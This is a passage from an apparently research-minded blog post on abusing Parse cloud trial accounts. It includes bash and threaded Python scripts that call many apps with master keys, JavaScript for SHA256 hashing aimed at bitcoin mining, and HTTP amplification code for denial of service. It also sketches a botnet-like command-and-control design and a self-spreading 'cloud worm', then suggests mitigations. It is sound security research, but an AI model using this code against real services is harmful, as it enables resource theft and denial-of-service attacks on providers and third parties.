exec 6<key
while [[ $eof -eq 0 ]]
do
 if read l1<&5; then
  read l2 <&6
  curl -X POST -H "X-Parse-Application-Id: $l1" -H "X-Parse-Master-Key: $l2" -H "Content-Type: application/json" -d {} https://api.parse.com/1/functions/hello
  printf "\n"
 else
  eof=1
 fi
done

I also put together a more snazzy python script with threading code from stackoverflow:
import requests
import re
from random import randint
import threading
import time
import Queue
import json

with open("appid") as f:
    appid = f.readlines()

with open("keys") as f:
    key = f.readlines()

s = requests.Session()

def callapi(x):
    s.headers.update({'X-Parse-Application-Id': appid[x].rstrip()})
    s.headers.update({'X-Parse-Master-Key': key[x].rstrip()})
    payload = {'' : ''}
    r = s.post('https://api.parse.com/1/functions/hello', data=json.dumps(payload))
    print "No: " + str(x) + "  Code:" + str(r.status_code) + "  Dataz:" + str(r.text)

queue = Queue.Queue()

class ThreadUrl(threading.Thread):

  def __init__(self, queue):
    threading.Thread.__init__(self)
    self.queue = queue

  def run(self):
    while True:
      #grabs host from queue
      j = self.queue.get()

      #grabs urls of hosts and prints first 1024 bytes of page
      callapi(j)

      #signals to queue job is done
      self.queue.task_done()

start = time.time()
def main():

  #spawn a pool of threads, and pass them queue instance
  for m in range(160):
    t = ThreadUrl(queue)
    t.setDaemon(True)
    t.start()

  #populate queue with data  
  for n in xrange(0,1000,1):
    queue.put(n)

  #wait on the queue until everything has been processed    
  queue.join()

main()
print "Elapsed Time: %s" % (time.time() - start)


Do something cool!

At this point I'm sure a few of you are like this:


And I guess you're wondering, after all this configuration, what can you actually do?

Well Parse allows you to process data and send HTTP requests. For a bad guy this means they could do things like mine bitcoins, crack hashes, DOS attacks or proxy malicious requests. For testing purposes I decided to focus on bitcoin mining and DOS proof of concepts.


$$$ Mining some coin $$$

Knowing next to nothing about bitcoin mining I did a little Googling and came across the post here that had a great practical explanation of mining. As mining basically consists of SHA256 hashing I decided to create a hashing benchmark script for Parse. As Parse uses Javascript I took the SHA256 crypto JS here and uploaded it to Parse with a for loop and timer.

Parse.Cloud.define("sha256", function(request, response) {

<insert CryptoJS code>

start=newdate();
for(i=0;i<request.params.iter;i++){
CryptoJS.SHA256("Message" + i);
}
response.success("time: " + ((new Date())-start)/1000);
});

Testing different iteration values I found one Parse instance could handle roughly 40,000 hashes per second which is pretty slow. Using the threaded python script I included above I continually called multiple instances and could hit about 6,000,000 hashes per second. But even this is no where near the speeds of real mining hardware. (Also real mining uses double SHA256 so the 6Mh/s is probably nearer 3Mh/s in real terms)

Part of the problem is the 15 second time limit on Parse processes, another issue is Parse have throttling in place so if you make too many API requests they start blocking connections. So bitcoin mining seemed possible but not practical with the current restrictions.


Denial Of Service

Using multiple trial accounts and some form of amplification I was curious how high I could get my outbound traffic volume (going from Parse to my target).

Starting with some simple httpRequest code I was able to get my instance to send thirty outbound requests for every one API request, proving amplification was possible. Two things to note though, the outbound requests go at a max rate of around 15 requests a second, also you need to remove the success/error response as that will close the process.

Example test code is below:
Parse.Cloud.define("amptest", function(request, response) {

for(j=0;j<request.params.scale;j++){
Parse.Cloud.httpRequest({
        url: 'http://myip/hello',
        method: 'POST',
        body: {
        countj:j
        },
        success: function(httpResponse) {
            //response.success(httpResponse.text);
        },
       error: function(httpResponse) {
            //response.error("Some error: "+httpResponse.status);
       }
    });
}
});

When scaling this up though the bottleneck is the same as the bitcoin mining, 15 second processes and max API requests per second limit the throughput. But is there any way around these restrictions?


C&C in the cloud?

It dawned on me that instead of using my workstation as the command and control I could use one of my apps as the C&C. I could send one request to my C&C app and he would communicate with all the other apps. But why stop at one C&C? Having one master, multiple slave C&C's and a pool of workers would in theory help increase throughput as I would be sending requests from multiple Parse ip addresses.
I created some recursive app code that included a list of every bot's appid and key and pushed this to every bot. The code would select bots at random and request that they run the same code. I passed a counter parameter that was incremented after each request to give the illusion of a tiered infrastructure. When the counter hit the "worker tier", instead of calling other bots, the bot would send multiple http requests to the target site.

With multiple workers all simultaneously connecting to the target ip i got something like this:


The source ip is Parse, the destination is my local machine. Looking at the "Time" column you can see a throughput of roughly 600-1000 requests per second. For me this was a promising start and I'm sure with some code tweaks, more bots and more than one external ip, the requests per second could have been increased substantially.


90's worm + 2014 cloud = CLOUD WORM!?

Although I didn't have time to build a working POC I think it may be possible to build a cloud worm on Parse. In a nutshell, as Parse allow accounts to run code and send http requests, there is the possibility that a Parse app could itself create a new account, deploy and then run code. The new account would then repeat this process and so on, gradually consuming the entire cloud's resources.

Cloud worm POC is this weeks homework, class dismissed ;)


Final Thoughts

Letting people run code on your servers is a risky business. To prevent abuse you need a solid sandbox and tight resource restrictions/monitoring. In this post I've only scratched the surface of Parse looking at some super obvious issues. I wish I'd had more time to dig into the cloud worm possibilities as well as background jobs which looked interesting.

Mitigation-wise anti-automation and email verification on the sign-up page would have helped. As would tighter inbound/outbound throttling/resource restrictions for trial accounts and also blocking app to app access. I don't think Facebook/Parse chose to implement any of these fixes and instead decided to focus on monitoring for suspicious resource usage.

Questions, comments and corrections are always appreciated! Thanks for reading.

Pwndizzle out.